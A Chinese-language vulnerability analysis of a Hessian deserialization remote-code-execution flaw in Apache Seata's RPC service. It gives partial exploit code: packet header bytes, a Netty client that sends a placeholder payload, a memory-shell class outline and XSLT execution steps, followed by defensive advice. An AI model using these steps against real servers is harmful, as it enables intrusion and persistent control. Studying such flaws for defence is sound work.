Apache Seata 反序列化漏洞分析与利用

漏洞概述

Apache Seata 是一款开源的分布式事务解决方案，默认会开放端口8091用于处理RPC调用。该服务基于Netty框架实现，在处理网络请求时存在反序列化安全漏洞，攻击者可通过构造特定的序列化数据实现远程代码执行。

漏洞原理分析

1. 协议结构

Seata协议头部结构如下：

2. 漏洞触发点

漏洞主要存在于 io.seata.core.rpc.netty.v1.ProtocolV1Decoder#decodeFrame 方法中。该方法依次读取ByteBuf数据，在读取requestId后会直接对body字节数组进行反序列化操作。

关键代码逻辑：

• 当SerializerType为22时，使用Hessian反序列化器
• 攻击者可通过设置 rpcMessage.setCodec((byte) 22) 强制使用Hessian反序列化

漏洞利用

1. 基础PoC实现

攻击者需要构建符合Seata协议格式的ByteBuf数据包：

// 构建协议头部
byte[] header = new byte[16];
// 设置Magic值
header[0] = (byte) 0xda;
header[1] = (byte) 0xda;
// 设置Version
header[2] = 0x01;
// 设置Message Type
header[9] = 0x0b;
// 设置Codec Type为Hessian
header[10] = 0x16;

// 构建Hessian序列化载荷
byte[] payload = Base64.decode("恶意序列化数据");

// 组合完整数据包并发送

2. Netty客户端实现

// 初始化Netty客户端
Bootstrap bootstrap = new Bootstrap();
bootstrap.group(group)
    .channel(NioSocketChannel.class)
    .handler(new ChannelInitializer<SocketChannel>() {
        @Override
        public void initChannel(SocketChannel ch) {
            ChannelPipeline p = ch.pipeline();
            // 添加自定义处理器
            p.addLast(new SeataExploitHandler());
        }
    });

// 建立连接并发送恶意载荷
ChannelFuture future = bootstrap.connect(host, port).sync();

3. 武器化利用

通过动态修改Base64编码的序列化数据，可以实现灵活的漏洞利用。攻击者可以参考Seata的encode方法实现数据包构建。

后渗透利用

1. 内存马注入

攻击者可注入Netty内存马，通过继承ChannelDuplexHandler类实现持久化控制：

public class NettyMemShell extends ChannelDuplexHandler {
    // 实现恶意处理逻辑
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) {
        // 检查并执行恶意命令
        // ...
        super.channelRead(ctx, msg);
    }
}

2. XSLT利用技术

使用XsltOnlyJdk技术实现代码执行分为两个步骤：

第一步：写入恶意XML文件

// 使用JavaUtils写入恶意XML配置文件
JavaUtils.writeFile("/path/to/malicious.xml", evilContent);

第二步：解析执行

// 通过ProcessBuilder或相关API触发XML解析
// 实现任意代码执行

防御措施

1. 网络层防护

   • 限制8091端口的访问权限
   • 配置网络防火墙规则，只允许可信IP访问

2. 应用层防护

   • 升级到已修复的安全版本
   • 实施输入验证和过滤机制
   • 使用白名单机制限制反序列化类

3. 运行时防护

   • 部署RASP解决方案监控反序列化操作
   • 使用安全管理器限制敏感操作

参考资源

1. Seata协议分析文章
2. Hessian反序列化利用技术
3. Apache Seata官方安全公告

总结

Apache Seata反序列化漏洞源于其对网络数据直接进行反序列化处理而缺乏足够的安全校验。攻击者通过构造符合协议格式的恶意数据包，可实现远程代码执行并获得服务器控制权。建议用户及时更新到安全版本并实施相应的防护措施。